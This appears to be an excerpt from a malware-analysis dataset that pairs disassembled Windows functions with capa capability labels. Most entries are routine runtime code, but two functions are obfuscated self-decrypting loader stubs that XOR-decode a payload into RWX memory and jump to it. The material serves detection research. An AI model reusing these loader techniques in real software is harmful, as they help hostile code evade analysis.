joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100465a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f4e0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x101f9834]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x14]
test edi, edi
jne 0x100465e9
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [edi], 0
cmp dword [0x101f354c], 0
jne 0x10046600
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
test esi, esi
je 0x1004664d
mov eax, dword [esi]
test eax, eax
je 0x100465d2
cmp dword [esi + 4], 0
je 0x100465d2
push eax
call fcn.1010b7a0
add esp, 4
push dword [esi + 4]
call fcn.1010b7a0
mov eax, dword [esi + 0xc]
add esp, 4
test eax, eax
je 0x1004663e
push eax
call fcn.1010b7a0
add esp, 4
mov eax, dword [esi + 8]
test eax, eax
je 0x10046685
push eax
call fcn.1010b7a0
jmp 0x10046682
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
call fcn.1010b7a0
add esp, 4
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
call fcn.1010b7a0
add esp, 4
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
call fcn.1010b7a0
add esp, 4
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.1010b7a0
add esp, 4
push 8
call fcn.1010b7a0
add esp, 4
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x100466c0
push dword [ebp + 0x18]
mov ecx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.1010b7a0
mov dword [edi], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [edi], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100e1380
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101a102e
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x101f9834]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], 0
mov esi, dword [ebp + 8]
mov ecx, esi
mov dword [ebp - 4], 0
call sym.AIDE.dll_public:_void___thiscall_AIDE::PaletteInfo::constructor_void_
mov ecx, dword [edi + 0x14]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
call fcn.100e2a90
mov dword [esi], eax
lea ecx, [edi + 0x28]
mov dword [esi + 4], 3
mov dword [esi + 8], 0
mov dword [ecx], 8
mov dword [edi + 0x30], 8
mov dword [edi + 0x2c], 8
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], 8
mov ecx, dword [edi + 0x14]
call fcn.100e2a70
mov dword [esi + 0x14], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10108550
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10108560

Function at 0x10108800
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x1010880c
pop ebp
ret
mov dword [ebp + 0xc], eax
pop ebp
jmp fcn.10108820
Function at 0x10159fd0
Capabilities:
Terminate process

Disassembly:
cmp dword [str._AdobeIP0000539_], 0
jne 0x10159fe1
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x1019d030
movss xmm5, dword [0x101e25d4]
movss xmm4, dword [0x101e25dc]
movss xmm6, dword [0x101e25d0]
movss xmm7, dword [0x101e25c8]
movss xmm3, dword [0x101a83c8]
push esi
xor esi, esi
nop dword [eax + eax]
movd xmm0, esi
mov eax, esi
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
sub esp, 8
addsd xmm0, qword [eax*8 + 0x101e5600]
cvtpd2ps xmm2, xmm0
movaps xmm0, xmm4
movaps xmm1, xmm2
mulss xmm1, xmm5
subss xmm0, xmm1
cvtss2sd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
mov ecx, eax
mulss xmm0, xmm6
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
shl eax, 0x10
mulss xmm0, xmm7
add ecx, eax
mov dword [esi*4 + 0x10207160], ecx
mulss xmm0, xmm3
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
mov edx, eax
mulss xmm0, dword [0x101e25d8]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
shl eax, 0x10
mulss xmm0, dword [0x101e25c0]
add eax, edx
mov dword [esi*4 + 0x10207960], eax
mulss xmm0, xmm3
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
mov ecx, eax
mulss xmm0, dword [0x101e25cc]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
shl eax, 0x10
mulss xmm0, dword [0x101e25c4]
add eax, ecx
mov dword [esi*4 + 0x10207560], eax
mulss xmm0, xmm3
subss xmm0, xmm4
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
mov dword [esi*4 + 0x10207d60], eax
mulss xmm0, dword [0x101e25e4]
mov dword [esi*4 + 0x10208560], edx
mov dword [esi*4 + 0x10208160], ecx
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
mov dword [esi*4 + 0x10208960], eax
mulss xmm0, dword [0x101e25e8]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
movaps xmm0, xmm2
mov dword [esi*4 + 0x10208d60], eax
mulss xmm0, dword [0x101e25ec]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.1010b7a0
mov dword [esi*4 + 0x10209160], eax
mulss xmm2, dword [0x101e25e0]
cvtps2pd xmm0, xmm2
movsd qword [esp], xmm0
call fcn.1010b7a0
mov dword [esi*4 + 0x10209560], eax
add esp, 8
inc esi
cmp esi, 0x100
jb 0x1019d060
pop esi
ret
Function at 0x100258ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100258d9
pop dword [ebp - 0x48]
mov eax, 0x100258d9
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x676a0869
add dword [ebp - 0x58], 0xe6e83ce2
mov dword [ebp - 0x54], 0x2205aaf6
sub dword [ebp - 0x54], 0xefd25eb1
mov dword [ebp - 0x50], 0x207c2864
add dword [ebp - 0x50], 0x2bd01bca
mov dword [ebp - 0x4c], 0x85e2f789
add dword [ebp - 0x4c], 0x7a1d0877
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xa007f068
add dword [ebp - 0x58], 0xd46a78ee
mov dword [ebp - 0x54], 0x424de6d0
add dword [ebp - 0x54], 0xff1e7aa5
mov dword [ebp - 0x50], 0x5c9b0589
sub dword [ebp - 0x50], 0xf92b991d
mov dword [ebp - 0x4c], 0x1c7c9ba2
sub dword [ebp - 0x4c], 0x1c7c9ba2
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x49c945f4
add eax, 0xc63c4a4c
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x5d347
push 0
call eax
mov ecx, 0x4652
xor ebx, ebx
add ebx, eax
mov esi, 0x41b05be8
sub esi, 0x31a9c7e8
add esi, dword [ebp - 0x48]
mov edi, 0xa343cd21
sub edi, 0xc90efbbc
add dword [ebp - 0x44], 0x6fc9bef8
mov edx, dword [esi]
xor dword [ebp - 0x10], ecx
xor edx, edi
mov dword [ebp - 4], 0x3e480160
mov dword [ebx], edx
add ebx, 0xfebe555f
add ebx, 0x141aaa5
add esi, 4
loop 0x100259ed
add eax, 0x3de83a6f
sub eax, 0x3de72e54
xor ebx, ebx
add ebx, eax
add eax, 0x4b192b61
add eax, 0xb4e6d4a4
mov ecx, 0xfc767b20
add ecx, 0x138984e0
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1000e8d0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x3c
push esi
mov esi, dword [eax + 8]
push edi
mov edi, dword [ebp + 0x10]
add esi, 0x568
push 0x10017bc8
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x1000e959
push str.file:__
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x1000e959
push dword [ebp + 0xc]
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x1000e959
push 0x38
lea eax, [ebp - 0x38]
mov dword [ebp - 0x3c], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push edi
call dword [sym.imp.wininet.dll_InternetCrackUrlW]
test eax, eax
je 0x1000e95c
mov eax, dword [ebp - 0x30]
cmp eax, 1
je 0x1000e955
add eax, 0xfffffffd
cmp eax, 1
ja 0x1000e95c
mov esi, edi
jmp 0x1000e95c
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call fcn.10013963
add esp, 0x10
pop edi
pop esi
leave
ret 0x20
Function at 0x10013963
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10013972
pop dword [ebp - 0x30]
mov eax, 0x10013972
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3beb8
push 0
mov eax, 0x6f743456
sub eax, 0x5f72d316
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xd6a2b46e
sub ecx, 0xd6a264fa
mov edi, eax
mov edx, 0xe479a5b0
add edx, 0x2b889e50
add edx, dword [ebp - 0x30]
mov esi, 0xd86efb4b
sub esi, 0xb013fd9
sub dword [ebp - 0x1c], eax
mov ebx, dword [edx]
xor ebx, esi
add dword [ebp - 0x10], eax
mov dword [edi], ebx
xor dword [ebp - 0x10], ecx
add edi, 4
add edx, 4
loop 0x100139cc
add eax, 0x130a3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb7727c44
sub ecx, 0xa7727c44
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4038cc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x465020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403964
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x403944
xor eax, eax
push ebp
push 0x40393d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40399c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403944
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x465020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x465020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404830
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov ebx, 0x469ae4
cmp dword [ebp + 0xc], 2
jl 0x404844
mov ebx, 0x469b14
mov esi, ebx
lea edi, [ebp - 0x40]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
pop dword [ebx + 0x20]
pop dword [ebx + 0x1c]
pop dword [ebx + 0x18]
mov dword [ebx + 0x14], ebp
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], edx
lea ecx, [ebp - 0x40]
mov dword [ebx], ecx
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebx + 0x2c], eax
mov eax, dword [ebx + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], 0
jne 0x40487c
mov ecx, dword [eax]
mov dword [ebx + 0xc], ecx
mov eax, 0x401230
mov dword [0x467014], eax
mov eax, 0x401238
mov dword [0x467018], eax
mov eax, ebx
call fcn.0040471c
mov eax, dword [ebp + 0xc]
inc eax
mov byte [ebx + 0x28], al
dec eax
pop ecx
mov edx, dword [ecx]
mov dword [ebx + 0x24], edx
je 0x4048b1
cmp al, 3
jge 0x4048b1
call dword [ecx + eax*4]
push ecx
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x4048c2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
call ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp al, 3
jl 0x4048cd
call dword [ecx + eax*4]
cmp dword [0x467034], 0
jne 0x4048e3
mov byte [0x46703c], 1
fnstcw word [0x465020]
mov eax, dword [ebp + 0xc]
dec eax
jne fcn.00404b60
call fcn.004047c8
ret 4

Function at 0x404ad0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46704c], 0
je 0x404b31
cmp word [0x467328], 0xd7b2
jne 0x404af9
cmp dword [0x467330], 0
jbe 0x404af9
mov eax, 0x467324
call dword [0x467340]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404b5c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46502c], 0
jne 0x404b4d
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x404cdc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x465030], 0
je 0x404d02
mov edx, esi
mov eax, ebx
call dword [0x465030]
jmp 0x404d11
mov eax, 8
call fcn.00402fb4
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x46704d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404ca4
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x4076ec
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x408f00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x469b5c
push 0xa
push 0x408f94
mov eax, dword [0x469b48]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x408f24
call fcn.00410984
push ebx
mov eax, dword [0x469b48]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x408f3b
call fcn.00410984
push ebx
call sub.kernel32.dll_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x408f4d
call fcn.00410984
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x469b60], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x469b64], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x469b68], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x469b6c], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x469b70], ecx
add edx, dword [eax + 0x14]
mov dword [0x469b74], edx
pop esi
pop ebx
ret

Function at 0x40a550
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40a5f9
test eax, edx
je 0x40a5fc
push 0
push 0
cmp word [eax - 0xa], 2
je 0x40a579
push edx
mov edx, eax
mov eax, esp
call fcn.00405728
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x40a58f
push eax
lea eax, [esp + 8]
call fcn.00405728
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x40a59e
movzx eax, word [eax]
sub eax, ecx
jmp 0x40a5c5
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40a5df
add ecx, 4
js 0x40a5b6
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x40a5dc
push eax
mov eax, ecx
mov edx, 2
call fcn.00404d7c
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x40a5c3
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x40a5c5
xor eax, eax
ret
test eax, eax
je 0x40a60c
test edx, edx
jne 0x40a560
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40b270
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004055e0
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40b28e
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x40b2af
cmp ebx, 3
je 0x40b2af
cmp ebx, 0x7b
je 0x40b2af
mov eax, esi
call fcn.0040b230
test al, al
jne 0x40b2b3
xor eax, eax
jmp 0x40b2b5
mov al, 1
pop esi
pop ebx
ret
Function at 0x40e524
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40e55d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00405690
jmp 0x40e566
mov eax, ebx
mov edx, esi
call fcn.00405554
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40e570
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40e592
movzx eax, word [esp]
jmp 0x40e594
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40ed1c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x40ee41
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0040eb30
mov esi, eax
mov eax, dword [0x466dc8]
cmp byte [eax], 0
je 0x40ede9
mov eax, dword [0x466bc8]
call fcn.00403318
call fcn.0040311c
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x40ecf8]
call fcn.00406940
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x40ee5c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40ee25
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x466b74]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x469b48]
call fcn.00406a34
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ee48
lea eax, [ebp - 4]
mov edx, dword [0x40ecf8]
call fcn.0040694c
ret
Function at 0x40fa24
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40fafa
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004055a8
lea eax, [ebp - 4]
call fcn.00405f7c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004055e0
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x40fae4
mov eax, ebx
call fcn.00402fb4
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40fadd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004055e0
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x40fac7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40fb0c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x40fac7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fae4
mov eax, dword [ebp - 0x10]
call fcn.00402fd0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fb01
lea eax, [ebp - 4]
call fcn.00405544
ret

Function at 0x41082c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040507c
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x4107d6
mov eax, edi
add eax, eax
call fcn.00402fb4
mov esi, eax
jmp 0x4107d8
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x410811
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x4107fb
mov eax, esp
cmp esi, eax
je 0x41081e
mov eax, esi
call fcn.00402fd0
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x410858
cmp bl, 0
je 0x410854
cmp bl, 0x41
jl 0x41084f
cmp bl, 0x5a
jg 0x41084f
or bl, 0x20
xor al, bl
inc esi
jmp 0x410833
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x410798

Function at 0x420278
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041ff7c
dec esi
jne 0x42029a
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x421444
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x46be90
cmp dword [edi], 0
jne 0x4214c0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x46be8c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x465c40
mov ecx, 2
call fcn.0040316c
mov edx, 0x42141c
lea eax, [esi + 5]
call fcn.0042143c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0042143c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x421495
mov dword [0x46be8c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x422164
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.004055e0
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
je 0x4221bc
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x466ee0]
mov dl, 1
mov eax, dword [0x421be4]
call fcn.0040ef58
call fcn.004044d0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00421d6c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4230fc
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x423102
ret